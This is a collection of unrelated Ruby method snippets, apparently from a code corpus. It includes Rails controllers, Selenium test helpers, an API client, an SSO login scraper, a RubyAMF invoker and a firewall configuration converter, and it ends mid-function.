"def add_kyc_form\n service_response = SimpleTokenApi::Request::User.new(\n host_url_with_protocol,\n request.cookies,\n {\"User-Agent\" => http_user_agent}).basic_detail(GlobalConstant::TemplateType.kyc_template_type, params[:t])\n\n # Check if error present or not?\n unless service_response.success?\n render_error_response(service_response)\n return\n end\n\n @presenter_obj = ::Web::Client::Setup.new(service_response, params)\n redirect_to '/token-sale-blocked-region', status: GlobalConstant::ErrorCode.temporary_redirect and return if @presenter_obj.is_blacklisted_ip?(get_ip_to_aml_countries)\n redirect_to \"/login\", status: GlobalConstant::ErrorCode.temporary_redirect and return if @presenter_obj.has_sale_ended?\n\n @user = service_response.data[\"user\"]\n\n extra_param = params[:t].present? ? \"?e_t=1\" : \"\"\n redirect_if_step_not_reachable(@user[\"user_token_sale_state\"], GlobalConstant::TokenSaleUserState.kyc_page_allowed_states, extra_param)\n return if has_performed?\n get_ip_to_preferred_aml_country\n set_page_meta_info(@presenter_obj.custom_meta_tags)\n end",
"def salesforcelogin\n @driver.get \"https://wework--staging.cs96.my.salesforce.com/\"\n @driver.find_element(:id, \"username\").clear\n @driver.find_element(:id, \"username\").send_keys @mapCredentials['Staging']['WeWork System Administrator']['username']\n @driver.find_element(:id, \"password\").clear\n @driver.find_element(:id, \"password\").send_keys @mapCredentials['Staging']['WeWork System Administrator']['password']\n @driver.find_element(:id, \"Login\").click\n puts \"Login sucessfully \\n\"\n\n @wait.until{@driver.find_element(:id ,\"tsidLabel\").displayed? }\n portfolio= @helper.getSalesforceRecord('Building__c',\"select Market__r.Name, Market__c, Id, Name, Address__c from Building__c where Name= '#{@testDataJSON['Opportunity'][0]['building']}'\")\n port = portfolio[0].fetch(\"Market__r.Name\")\n puts port\n result1= @helper.getSalesforceRecord('Account_Queue__c',\"SELECT Member__c from Account_Queue__c where Account_Record_Type__c= 'Enterprise Solutions' AND Market__c='#{port}'\")\n puts result1.class\n end",
"def api_v11_clusters_cluster_name_services_service_name_commands_enter_maintenance_mode_post_with_http_info(service_name, cluster_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi#api_v11_clusters_cluster_name_services_service_name_commands_enter_maintenance_mode_post ...\"\n end\n \n # verify the required parameter 'service_name' is set\n fail \"Missing the required parameter 'service_name' when calling api_v11_clusters_cluster_name_services_service_name_commands_enter_maintenance_mode_post\" if service_name.nil?\n \n # verify the required parameter 'cluster_name' is set\n fail \"Missing the required parameter 'cluster_name' when calling api_v11_clusters_cluster_name_services_service_name_commands_enter_maintenance_mode_post\" if cluster_name.nil?\n \n # resource path\n path = \"/api/v11/clusters/{clusterName}/services/{serviceName}/commands/enterMaintenanceMode\".sub('{format}','json').sub('{' + 'serviceName' + '}', service_name.to_s).sub('{' + 'clusterName' + '}', cluster_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_v11_clusters_cluster_name_services_service_name_commands_enter_maintenance_mode_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def getDeviceLocation(opts={}) \n req_accuracy = (opts[:req_accuracy] || 100)\n accept_accuracy = (opts[:accept_accuracy] || 10_000)\n tolerance = (opts[:tolerance] || Tolerance::LOW)\n url = \"#{@fqdn}#{SERVICE_URL}\"\n\n url << \"?requestedAccuracy=#{req_accuracy}\"\n url << \"&acceptableAccuracy=#{accept_accuracy}\"\n url << \"&tolerance=#{tolerance}\"\n\n begin\n response = self.get(url)\n rescue RestClient::Exception => e\n raise(ServiceException, e.response || e.message, e.backtrace)\n end\n Model::TLResponse.createFromJson(response)\n end",
"def create\n @fleet = Fleet.new(fleet_params)\n\n respond_to do |format|\n if @fleet.save\n format.html { redirect_to @fleet, notice: 'Fleet was successfully created.' }\n format.json { render action: 'show', status: :created, location: @fleet }\n else\n format.html { render action: 'new' }\n format.json { render json: @fleet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def perform\n\n handle_errors_and_exceptions do\n\n r = validate\n return r unless r.success?\n\n r = fetch_token_details\n return r unless r.success?\n\n r = fetch_sub_env_payloads\n return r unless r.success?\n\n r = fetch_goto\n return r unless r.success?\n \n r = fetch_default_price_points\n return r unless r.success?\n\n r = fetch_stake_currency_details\n return r unless r.success?\n\n @sign_message = {\n wallet_association: GlobalConstant::MessageToSign.wallet_association\n }\n\n api_response_data = {\n token: @token,\n sign_messages: @sign_message,\n client_manager: @client_manager,\n manager: @manager,\n price_points: @price_points,\n sub_env_payloads: @sub_env_payload_data,\n all_stake_currencies: @all_stake_currencies\n }\n\n if @token[:stake_currency_id].present?\n api_response_data[:stake_currencies] = @stake_currencies\n end\n\n success_with_data(api_response_data)\n\n end\n\n end",
"def invoke\n begin \n # RequestStore.available_services[@amfbody.service_class_name] ||=\n @service = @amfbody.service_class_name.constantize.new #handle on service\n rescue Exception => e\n puts e.message\n puts e.backtrace\n raise RUBYAMFException.new(RUBYAMFException.UNDEFINED_OBJECT_REFERENCE_ERROR, \"There was an error loading the service class #{@amfbody.service_class_name}\")\n end\n \n #call one or the other method depending in the ruby version we are using\n if RUBY_VERSION > RUBY_19\n caller = \"to_sym\"\n else\n caller = \"to_s\"\n end \n\n if @service.private_methods.include?(@amfbody.service_method_name.send(caller))\n raise RUBYAMFException.new(RUBYAMFException.METHOD_ACCESS_ERROR, \"The method {#{@amfbody.service_method_name}} in class {#{@amfbody.service_class_file_path}} is declared as private, it must be defined as public to access it.\")\n elsif !@service.public_methods.include?(@amfbody.service_method_name.send(caller))\n raise RUBYAMFException.new(RUBYAMFException.METHOD_UNDEFINED_METHOD_ERROR, \"The method {#{@amfbody.service_method_name}} in class {#{@amfbody.service_class_file_path}} is not declared.\")\n end\n \n #clone the request and response and alter it for the target controller/method\n req = RequestStore.rails_request.clone\n res = RequestStore.rails_response.clone\n \n #change the request controller/action targets and tell the service to process. THIS IS THE VOODOO. SWEET!\n controller = @amfbody.service_class_name.gsub(\"Controller\",\"\").underscore\n action = @amfbody.service_method_name\n req.parameters['controller'] = req.request_parameters['controller'] = req.path_parameters['controller'] = controller\n req.parameters['action'] = req.request_parameters['action'] = req.path_parameters['action'] = action\n req.env['PATH_INFO'] = req.env['REQUEST_PATH'] = req.env['REQUEST_URI'] = \"#{controller}/#{action}\"\n req.env['HTTP_ACCEPT'] = 'application/x-amf,' + req.env['HTTP_ACCEPT'].to_s\n \n #set conditional helper\n @service.is_amf = true\n @service.is_rubyamf = true\n \n #process the request\n rubyamf_params = @service.rubyamf_params = {}\n if @amfbody.value && !@amfbody.value.empty?\n @amfbody.value.each_with_index do |item,i|\n rubyamf_params[i] = item\n end\n end\n \n # put them by default into the parameter hash if they opt for it\n rubyamf_params.each{|k,v| req.parameters[k] = v} if ParameterMappings.always_add_to_params \n \n begin\n #One last update of the parameters hash, this will map custom mappings to the hash, and will override any conflicting from above\n ParameterMappings.update_request_parameters(@amfbody.service_class_name, @amfbody.service_method_name, req.parameters, rubyamf_params, @amfbody.value)\n rescue Exception => e\n raise RUBYAMFException.new(RUBYAMFException.PARAMETER_MAPPING_ERROR, \"There was an error with your parameter mappings: {#{e.message}}\")\n end\n\n #fosrias\n #@service.process(req, res)\n\n # call the controller action differently depending on Rails version\n if Rails::VERSION::MAJOR < 3\n @service.process(req, res)\n else\n @service.request = req\n @service.response = res\n @service.process(action.to_sym)\n end\n #fosrias\n \n #unset conditional helper\n @service.is_amf = false\n @service.is_rubyamf = false\n @service.rubyamf_params = rubyamf_params # add the rubyamf_args into the controller to be accessed\n \n result = RequestStore.render_amf_results\n \n #handle FaultObjects\n if result.class.to_s == 'FaultObject' #catch returned FaultObjects - use this check so we don't have to include the fault object module\n e = RUBYAMFException.new(result['code'], result['message'])\n e.payload = result['payload']\n raise e\n end\n \n #amf3\n @amfbody.results = result\n if @amfbody.special_handling == 'RemotingMessage'\n @wrapper = generate_acknowledge_object(@amfbody.get_meta('messageId'), @amfbody.get_meta('clientId'))\n @wrapper[\"body\"] = result\n @amfbody.results = @wrapper\n end\n @amfbody.success! #set the success response uri flag (/onResult)\n end",
"def Search_Service_Location_With_Name(name, testcase_no)\n @driver.find_element(:id, ServiceLocationName_EB).clear\n @driver.find_element(:id, ServiceLocationName_EB).send_keys \"#{name}\"\n @driver.find_element(:name, Commit_Btn).click\n search_locations = @driver.find_element(:css, ServiceLocationSearchResults_ID).text\n str = search_locations\n no_of_locations= str.scan(/\\d+/)[0]\n i=1\n j=1\n flag=0\n if(\"No entries found\" != @driver.find_element(:css, ServiceLocationSearchResults_ID).text)\n while(i<=(no_of_locations).to_i)\n \tif(@driver.find_element(:xpath, \"//div[@id='rarea_wrapper']/div[7]/table/tbody/tr[#{j}]/td[2]/a\").text =~/[#{name}](.*)/) \n flag= flag+1\t\t\n\telse \n\t Results(\"#{testcase_no}\", \"#{i} row doesn't contain the searched service location name \", \"FAIL\", $error_screenshots)\t\n end\t\n i=i+1\n\tj=j+2\n end\n if (flag == (no_of_locations).to_i)\n Results(\"#{testcase_no}\"+\"-1\", \"The results for the searched service location name were displayed correctly\", \"PASS\", \"\")\n else\n Results(\"#{testcase_no}\"+\"-1\", \"The results for the searched service location name were displayed incorrectly\", \"FAIL\", $error_screenshots)\t\n end\n else\n Results(\"#{testcase_no}\", \"No entries were found for the searched service location\", \"PASS\", \"\") \n end \n end",
"def login(agent, user, pass, service_id)\n @log.info(\"Login...\")\n login_page = agent.post('https://account.samsung.com/account/check.do', {\n :actionID => \"StartAP\",\n :serviceID => \"n7yqc6udv2\",\n :serviceName => \"SmartAppliance\",\n :domain => \"eu.samsungsmartappliance.com\",\n :countryCode => \"GB\",\n :languageCode => \"en\",\n :registURL => \"http://global.samsungsmartappliance.com/UserMgr/SSOSignIn\",\n :returnURL => \"http://global.samsungsmartappliance.com/Home/Index\",\n :goBackURL => \"http://global.samsungsmartappliance.com/Home/Index\",\n :idCheckURL => \"\",\n :signInURL => \"\",\n :signUpURL => \"http://global.samsungsmartappliance.com/UserMgr/SSOModifyUser\",\n :profileUpdateURL => \"http://global.samsungsmartappliance.com/UserMgr/SSOModifyGo\",\n :termsURL => \"http://global.samsungsmartappliance.com/UserMgr/termsGBen\",\n :privacyPolicyURL => \"http://global.samsungsmartappliance.com/UserMgr/privacyPolicyGBen\"\n })\n\n login_page.form['inputUserID'] = user\n login_page.form['inputPassword'] = pass\n login_page.form['serviceID'] = service_id\n login_page.form['remIdCheck'] = 'on'\n login_page.form.action = 'https://account.samsung.com/account/startSignIn.do'\n\n start_sso = login_page.form.submit\n finish_sso = start_sso.form.submit\n\n agent.cookies\n end",
"def create_station\n request = ['Enter station name: ']\n getting(request, :approve_station, :create_station!)\n end",
"def create\n # Validate permissions\n return unless permitted_for_user_type?(Client)\n\n # Extract params\n render_not_found 'missing pet_id' and return false unless (pet_id = params[:pet_id])\n render_not_found \"couldn't find pet with id #{pet_id}\" and return false unless (pet = Pet.find_by_id(pet_id))\n render_not_found 'missing time_start' and return false unless (time_start = params[:time_start])\n render_not_found 'missing time_end' and return false unless (time_end = params[:time_end])\n render_not_found \"location is missing\" and return unless params[:lat].present? and params[:lng].present?\n\n # Validate params\n render_bad_request 'start time is after end time' and return false if time_start.to_i > time_end.to_i\n render_forbidden \"this is not your pet\" and return if pet.owner.id != @current_user.id\n\n # Create new service object\n new_service = {}\n new_service[:client_id] = @current_user.id\n new_service[:pet_id] = params[:pet_id]\n new_service[:type] = params[:type]\n new_service[:time_start] = parse_time(time_start)\n new_service[:time_end] = parse_time(time_end)\n\n # generate location for service\n location = Location.new({:latitude => params[:lat], :longitude => params[:lng], :street_address => params[:address]})\n render_unprocessable_entity \"couldn't save location\" and return unless location.save\n new_service[:location_id] = location.id\n\n @with_client = true\n @with_service_provider = false\n\n # create&save new service active record\n service = Service.new(new_service)\n if service.save\n render 'services/_service', :locals => {:service => service}\n else\n render :json => {:has_errors => true, :errors => service.errors}, :status => :unprocessable_entity\n end\n end",
"def index\n @fleets = Fleet.where(user: current_user)\n \n @approaching_fleets = Array.new\n planets = current_user.planets\n planets.each do |planet|\n Fleet.where(\"target_planet = ? AND start_planet != target_planet\", planet).each do |fleet|\n @approaching_fleets.push(fleet)\n end\n end\n\n @flying_fleets = Array.new\n @based_fleets = Array.new\n @fleets.each do |fleet|\n if fleet.mission.id == 1\n @based_fleets.push(fleet)\n else\n @flying_fleets.push(fleet)\n end\n end\n end",
"def fleet_params\n params.require(:fleet).permit(:credit, :ressource_capacity, :ore, :crystal, :storage_factor, :velocity_factor, :offense, :defense, :user_id, :mission_id, :departure_time, :arrival_time, :start_planet, :target_planet)\n end",
"def index\n duration_hash = {}\n \n sub_sub_category = OneclickRefernet::SubSubCategory.find_by(code: params[:sub_sub_category])\n sub_sub_category_services = sub_sub_category.try(:services) || []\n\n # Base service queries on a collection of UNIQUE services\n services = OneclickRefernet::Service.confirmed.where(id: sub_sub_category_services.pluck(:id).uniq)\n \n lat, lng = params[:lat], params[:lng]\n meters = params[:meters].to_f\n limit = params[:limit] || 10\n \n if lat && lng\n meters = meters > 0.0 ? meters : (30 * 1609.34) # Default to 30 miles\n \n services = services.closest(lat, lng)\n .within_x_meters(lat, lng, meters)\n .limit(limit) \n duration_hash = build_duration_hash(params, services)\n else\n services = services.limit(limit)\n end\n \n render json: services.map { |svc| service_hash(svc, duration_hash) }\n\n end",
"def execute_mapped_resource_automation\n begin\n\n # pass along pagination controls\n page = params[:page].to_i\n per_page = params[:per_page].to_i\n offset = page * per_page\n\n # set up a dummy step\n step = Step.new\n\n # since this is a member url we should have the id in the url or throw a 404\n external_script = Script.find(params[:id])\n\n # cache the plan involved for later assignment to selected tickets\n plan = Plan.find(params[:plan_id]) if params[:plan_id].present?\n\n # prepare an argument hash\n argument_hash = {}\n\n # cycle through the form variables to see what has been set, ignoring blank values\n params[:argument].each do |key, value|\n argument_name = ScriptArgument.find(key).argument\n # guarantee that all values are an array\n value = Array(value)\n # select box values are coming through as single element arrays\n if value.length < 2\n argument_hash[argument_name] = value[0] unless value.blank? || value[0].blank?\n else\n # CHKME: Does AO allow arrays of values from a multi-select?\n argument_hash[argument_name] = value\n end\n end\n\n # Execute and fetch the resource automation output\n external_script_output = view_context.execute_automation_internal(step, external_script, argument_hash, nil, offset, per_page)\n\n # for testing purposes construct the hash here\n # external_script_output = {\n # :perPage => 5,\n # :totalItems => 100,\n # :data =>\n # [\n # [\"ra_uniq_identifier\",\"Foreign Id\",\"Name\",\"Ticket Type\", \"Status\", \"Status Label\", \"Extended Attributes\"],\n # [\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\"]\n # ]\n # }\n query_name = \"#{external_script.project_server.name}: #{external_script.name}: #{Time.now.to_s(:short_audit)}\"\n # now is a good time -- with a successful run we hope -- to save this query for later recall\n @query = plan.queries.create( :project_server => external_script.project_server,\n :name => query_name,\n :script => external_script,\n :user => User.current_user )\n # if that was successful, go ahead and add the arguments to the query details\n if @query\n argument_hash.each do |key, value|\n # FIXME: Type in schema for conjunction <> conjuction\n @query.query_details.create(:query_element => key, :query_criteria => \"=\", :query_term => value, :conjuction => 'AND')\n end\n end\n # cache the new saved queries so we can update the menu with this latest run\n # now see if there are any past queries\n saved_queries = plan.queries.where(:last_run_by => User.current_user.try(:id)).order('created_at DESC').limit(25)\n\n # send all this data to a js partial that will reload items as needed\n render :partial => 'shared_scripts/execute_mapped_resource_automation',\n :locals => { :external_script_output => external_script_output,\n :project_server_id => external_script.integration_id,\n :plan => plan, :saved_queries => saved_queries }\n rescue Exception => err\n log_automation_errors(step, err, external_script_output)\n render :text => ApplicationController.helpers.options_for_select([['N.A', '']])\n end\n end",
"def create\n @fleet = Fleet.new(params[:fleet])\n\n respond_to do |format|\n if @fleet.save\n format.html { redirect_to @fleet, notice: 'Fleet was successfully created.' }\n format.json { render json: @fleet, status: :created, location: @fleet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @fleet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def fleet\r\n FleetController.instance\r\n end",
"def show \n #caching Service.find(params[:id])\n s = Service.find(params[:id])\n \n #check if service shared with current user\n temp = Service.joins(:users).where('user_id = ?', current_user.id).limit(1).first\n temp_teams = Team.joins(:users).where(\"user_id = ?\", current_user.id)\n temp_arr = []\n temp_teams.each do |t|\n temp_arr.push(t.id)\n end\n #if it's not shared AND does not belong to his team, redirect\n if !checkService(s)\n redirect_to services_path, alert: \"You do not have the privileges required to view this service.\"\n else\n #otherwise, display service\n @service = s\n\n # flags to assist with correct email folder display\n @no_folder = nil\n @choose_folder = nil\n @have_folder = nil\n\n # If no folder record exists, set no_folder flag to true, otherwise set have_folder to the folder name\n ews_folder = Servicesuser.where(\"service_id = ? AND user_id = ?\" , params[:id], current_user.id).limit(1).first\n if ews_folder.nil?\n @no_folder = true\n else\n @have_folder = ews_folder.ews_name\n end\n\n # If a user has attemnpted to login to change a exchange folder enter this branch\n if params[:user_name].present? || params[:password].present?\n begin\n @ews_folders = getFolders(params[:user_name], params[:password]) #method from Ews module, loads Hash{id=>folderName}\n flash[:ews_folders] = @ews_folders\n if ews_folder.nil?\n @ewsID = 0 #ewsID is the default select_box item to show. has a blank default at index 0\n else\n @ewsID = ews_folder.ews_id\n end\n @choose_folder = true\n flash.now[:notice] = \"Your Exchange Login was successful. Please select a folder from the list below.\"\n rescue\n @choose_folder = false # Just incase it was set to true above...\n flash.now[:alert] = \"The Exchange username/password entered is incorrect. Please try again.\"\n end\n end\n\n # Triggers this branch if a change of folder request has come through\n # :ews_select is the ID of the select box\n if params[:ews_select].present?\n if ews_folder.nil?\n new_ews = Servicesuser.new(:service_id => params[:id], :user_id => current_user.id, :ews_id => params[:ews_select], :ews_name => flash[:ews_folders][params[:ews_select]])\n new_ews.save\n @have_folder = new_ews.ews_name\n flash.now[:notice] = \"Your monitored Exchange folder has been successfully changed.\"\n\n elsif params[:ews_select] != ews_folder.ews_id\n ews_folder.update_attribute(:ews_id, params[:ews_select])\n ews_folder.update_attribute(:ews_name, flash[:ews_folders][params[:ews_select]])\n @have_folder = ews_folder.ews_name \n flash.now[:notice] = \"Your monitored Exchange folder has been successfully changed.\"\n end\n end\n \n #show all users not shared the service\n @team = @service.team\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @service }\n end\n end\n end",
"def Search_Service_Location_With_Location(location, testcase_no)\n @driver.find_element(:id, ServiceLocationLocation_EB).clear\n @driver.find_element(:id, ServiceLocationLocation_EB).send_keys \"#{location}\"\n @driver.find_element(:name, Commit_Btn).click\n search_locations = @driver.find_element(:css, ServiceLocationSearchResults_ID).text\n str = search_locations\n no_of_locations= str.scan(/\\d+/)[0]\n string=\"#{location}\"\n loc=string.split(\",\")[0]\n i=1\n j=1\n flag=0\n if(\"No entries found\" != @driver.find_element(:css, ServiceLocationSearchResults_ID).text)\n while(i<=(no_of_locations).to_i)\n \tif((@driver.find_element(:xpath, \"//div[@id='rarea_wrapper']/div[7]/table/tbody/tr[#{j}]/td[6]\").text =~/[#{location}](.*)/)||(@driver.find_element(:xpath, \"//div[@id='rarea_wrapper']/div[7]/table/tbody/tr[#{j}]/td[5]\").text =~/[#{location}](.*)/)||(@driver.find_element(:xpath, \"//div[@id='rarea_wrapper']/div[7]/table/tbody/tr[#{j}]/td[5]\").text =~/[#{loc}](.*)/)) \n flag= flag+1\t\t\n\telse \n\t Results(\"#{testcase_no}\", \"#{i} row doesn't contain the searched service location\", \"FAIL\", $error_screenshots)\t\n end\t\n i=i+1\n\tj=j+2\n end\n if (flag == (no_of_locations).to_i)\n Results(\"#{testcase_no}\"+\"-1\", \"The results for the searched service location were displayed correctly\", \"PASS\", \"\")\n else\n Results(\"#{testcase_no}\"+\"-1\", \"The results for the searched service location were displayed incorrectly\", \"FAIL\", $error_screenshots)\t\n end\n else\n Results(\"#{testcase_no}\", \"No entries were found for the searched service location\", \"PASS\", \"\") \n end \n end",
"def edit_service_authorization_wizard\n\t\t@focus_client_id = session[:CLIENT_ID]\n\t\t@focus_program_unit_id = session[:PROGRAM_UNIT_ID]\n\t\tsession[:SERVICE_AUTHORIZATION_STEP] = session[:NAVIGATED_FROM] = nil\n\t\tsession[:SERVICE_AUTHORIZATION_ID] = params[:service_authorization_id]\n\t\tselected_activity_detail()\n \t# redirect to New action which manages application wizard functionality.\n \tredirect_to start_service_authorization_path\n \trescue => err\n error_object = CommonUtil.write_to_attop_error_log_table(\"ServiceAuthorizationsController\",\"edit_service_authorization_wizard\",err,current_user.uid)\n flash[:alert] = \"Error ID: #{error_object.id} - Error when editing service authorization.\"\n redirect_to_back\n\tend",
"def create\n begin\n # Creates user, address and phone objects needed for seller listing\n seller_listing = SellerListing.wizard_step1(params['seller_listing'])\n\n # Everybody who creates a new seller listing gets here, completion of the first step. However, not everybody\n # will complete the second step. There is valuable data in the second step so we want it if possible, but we\n # also want to create the salesforce data as soon as possible so we can open communication. So, we delay the\n # salesforce creation by an arbitrary period of time assuming that if the person is going to finish the process,\n # they will do so in the next n minutes\n # Delayed::Job.enqueue( SalesforceJob.new(seller_listing.id), {:run_at => 6.minutes.from_now})\n \n # TEMP FIX: Until we re-enable Salesforce.\n Delayed::Job.enqueue(DelayedJobs::TempMailerJob.new(seller_listing.id), {:run_at => 6.minutes.from_now})\n\n sign_out(current_user) if user_signed_in? && current_user.email != params['seller_listing']['user']['email']\n sign_in :user, seller_listing.user if !user_signed_in?\n\n # Send to second step\n redirect_to home_offer_2_path(seller_listing.id)\n\n rescue Exception => e\n # FIXME -- younker [2010-12-06 13:52]\n # We need to attach params['seller_listing']['address'] data to @seller_listing so we don't lose the form data\n Rails.logger.warn(\":: WARN :: seller_listings_controller.create :: #{e.inspect}\")\n set_seller_listing\n render :action => :new\n end\n end",
"def energyPlusOutputRequests(runner, user_arguments)\n super(runner, user_arguments)\n\n result = OpenStudio::IdfObjectVector.new\n\n reporting_frequency = runner.getStringArgumentValue('reporting_frequency', user_arguments)\n\n # Request the output for each end use/fuel type combination\n end_uses.each do |end_use|\n end_use, = end_use\n fuel_types.each do |fuel_type|\n fuel_type, = fuel_type\n variable_name = if end_use == 'Facility'\n \"#{fuel_type}:#{end_use}\"\n else\n \"#{end_use}:#{fuel_type}\"\n end\n result << OpenStudio::IdfObject.load(\"Output:Meter,#{variable_name},#{reporting_frequency};\").get\n end\n end\n\n # Create a custom meter for OtherFuels\n other_fuel_uses = ['HeatRejection', 'Heating', 'WaterSystems', 'InteriorEquipment']\n custom_meter_facility = 'Meter:Custom,OtherFuels:Facility,OtherFuel2'\n other_fuel_uses.each do |end_use|\n custom_meter = \"Meter:Custom,#{end_use}:OtherFuels,OtherFuel2\"\n other_fuels.each do |other_fuel|\n other_fuel = other_fuel.gsub(' ', '')\n result << OpenStudio::IdfObject.load(\"Output:Meter,#{end_use}:#{other_fuel},#{reporting_frequency};\").get\n custom_meter_facility += \",,#{end_use}:#{other_fuel}\"\n custom_meter += \",,#{end_use}:#{other_fuel}\"\n end\n custom_meter += ';'\n result << OpenStudio::IdfObject.load(custom_meter).get\n result << OpenStudio::IdfObject.load(\"Output:Meter,#{end_use}:OtherFuels,#{reporting_frequency};\").get\n end\n result << OpenStudio::IdfObject.load(\"#{custom_meter_facility};\").get\n result << OpenStudio::IdfObject.load(\"Output:Meter,OtherFuels:Facility,#{reporting_frequency};\").get\n\n # Request the output for each end use/fuel type combination\n result << OpenStudio::IdfObject.load(\"Output:Meter:MeterFileOnly,Electricity:Facility,#{reporting_frequency};\").get\n result << OpenStudio::IdfObject.load(\"Output:Meter:MeterFileOnly,ElectricityProduced:Facility,#{reporting_frequency};\").get\n result << OpenStudio::IdfObject.load(\"Output:Meter:MeterFileOnly,NaturalGas:Facility,#{reporting_frequency};\").get\n result << OpenStudio::IdfObject.load(\"Output:Meter:MeterFileOnly,DistrictCooling:Facility,#{reporting_frequency};\").get\n result << OpenStudio::IdfObject.load(\"Output:Meter:MeterFileOnly,DistrictHeating:Facility,#{reporting_frequency};\").get\n\n # result << OpenStudio::IdfObject.load(\"Output:Meter:MeterFileOnly,Cooling:Electricity,#{reporting_frequency};\").get\n # result << OpenStudio::IdfObject.load(\"Output:Meter:MeterFileOnly,Heating:Electricity,#{reporting_frequency};\").get\n # result << OpenStudio::IdfObject.load(\"Output:Meter:MeterFileOnly,InteriorLights:Electricity,#{reporting_frequency};\").get\n # result << OpenStudio::IdfObject.load(\"Output:Meter:MeterFileOnly,ExteriorLights:Electricity,#{reporting_frequency};\").get\n # result << OpenStudio::IdfObject.load(\"Output:Meter:MeterFileOnly,InteriorEquipment:Electricity,#{reporting_frequency};\").get\n # result << OpenStudio::IdfObject.load(\"Output:Meter:MeterFileOnly,Fans:Electricity,#{reporting_frequency};\").get\n # result << OpenStudio::IdfObject.load(\"Output:Meter:MeterFileOnly,Pumps:Electricity,#{reporting_frequency};\").get\n # result << OpenStudio::IdfObject.load(\"Output:Meter:MeterFileOnly,WaterSystems:Electricity,#{reporting_frequency};\").get\n # result << OpenStudio::IdfObject.load(\"Output:Meter:MeterFileOnly,Heating:NaturalGas,#{reporting_frequency};\").get\n # result << OpenStudio::IdfObject.load(\"Output:Meter:MeterFileOnly,WaterSystems:NaturalGas,#{reporting_frequency};\").get\n # result << OpenStudio::IdfObject.load(\"Output:Meter:MeterFileOnly,InteriorEquipment:NaturalGas,#{reporting_frequency};\").get\n result << OpenStudio::IdfObject.load('Output:Variable,*,Heating Coil Heating Rate,hourly; !- HVAC Average [W];').get\n # result << OpenStudio::IdfObject.load(\"Output:Variable,*,Exterior Equipment:Electric Vehicles,#{reporting_frequency};\").get\n\n timeseries_data = ['District Cooling Chilled Water Rate', 'District Cooling Mass Flow Rate',\n 'District Cooling Inlet Temperature', 'District Cooling Outlet Temperature',\n 'District Heating Hot Water Rate', 'District Heating Mass Flow Rate',\n 'District Heating Inlet Temperature', 'District Heating Outlet Temperature', 'Cooling Coil Total Cooling Rate',\n 'Heating Coil Heating Rate', 'ExteriorEquipment:Electricity']\n\n tes_timeseries_data = ['Ice Thermal Storage End Fraction', 'Cooling coil Ice Thermal Storage End Fraction']\n\n ev_timeseries_data = ['Exterior Equipment:Electric Vehicles']\n\n timeseries_data += tes_timeseries_data\n\n timeseries_data.each do |ts|\n result << OpenStudio::IdfObject.load(\"Output:Variable,*,#{ts},#{reporting_frequency};\").get\n end\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments, user_arguments)\n return result\n end\n\n return result\n end",
"def create_service_objects\n\n # initialize vars\n svcconfig = String.new\n svcconfig = \"#### Service Objects ####\\n\"\n svcconfig += \"config firewall service custom\"\n service_tracker = Set.new # create a set for tracking if service already has been created to avoid duplicates\n category = $opts[:servicecategory]\n filterused = nil\n\n # Open external files with data for mapping protocol port numbers\n ip = File.open 'reference/ip_protocol_nums.txt', 'r'\n tcpudp = File.open 'reference/tcp-udp_ports.txt', 'r'\n icmp = File.open 'reference/icmp_type_codes.txt', 'r'\n icmpmsg = File.open 'reference/icmp_msg_codes.txt', 'r'\n\n # Initialize hashes for stroing the protocol/port number information from files\n h_ip = Hash.new\n h_tcpudp = Hash.new\n h_icmp = Hash.new\n h_icmp_msg = Hash.new\n\n # import the ip protocol number info from file to h_ip hash\n ip.each_line do |x|\n num, name = x.split\n h_ip[num] = name\n end\n\n # reverse the keys and values\n h_ip = h_ip.invert\n\n # import the tcp/dump port number info from file to h_tcpudp hash\n tcpudp.each_line do |x|\n num, name = x.split\n h_tcpudp[num] = name\n end\n\n # reverse the keys and values\n h_tcpudp = h_tcpudp.invert\n\n # import the icmp type code detail from file to the h_icmp hash\n icmp.each_line do |x|\n num, name = x.split\n h_icmp[num] = name\n end\n\n # import the icmp msg code detail from file to the h_icmp_msg hash\n icmpmsg.each_line do |x|\n num, name = x.split\n h_icmp_msg[num] = name\n end\n\n # close the protocol info files\n ip.close\n tcpudp.close\n icmp.close\n icmpmsg.close\n\n # Create a new service category in the local fg config file to assign all created services to\n svcconfig = <<-EOS\nconfig firewall service category\n edit #{category}\nend\n\nEOS\n\n # Merge ipv4 and ipv6 filters to hash \"filters\" to process both ipv4 and ipv6 in this request\n filters = $h_filters.merge($h_filters6)\n\n # Process service objects for all ipv4 filters first\n filters.each_key do |filtername|\n filterused = check_if_filter_used(filtername)\n\n unless filterused\n p \"policy_service_objects: filter not used by an interface, skipping: #{filtername}\" if $opts[:verbose]\n next\n end\n\n\n filters[filtername].each_key do |termname|\n filters[filtername][termname][:source].each do |sourcename, sourcetype|\n\n # Use sourcetype to identify service definitions then modify those as needed to\n # convert for use in FG config\n case sourcetype.to_s # we will be matching against strings and output to string so need to chg from symbol\n when *%w[destination-port source-port port]\n\n # Matching anything that is all digits or digits with a single dash\n # the just digits indicates a single port number while with a dash is a range.\n # anything that does not match these will be processed in subsequent case\n # as we'll need to map those from words \"http, ftp, etc\" to port numbers\n if /^(\\d+)$/ =~ sourcename || /^(\\d+[-]\\d+)$/ =~ sourcename\n\n ### Some entries contain a range of ports. In these cases\n ### we need to split the low and high ports for assignment\n lowport, highport = ''\n lowport, highport = sourcename.to_s.split('-')\n\n highport = lowport unless highport\n\n ### Check to see if the associated term defines tcp, udp or icmp\n ### if it defines none 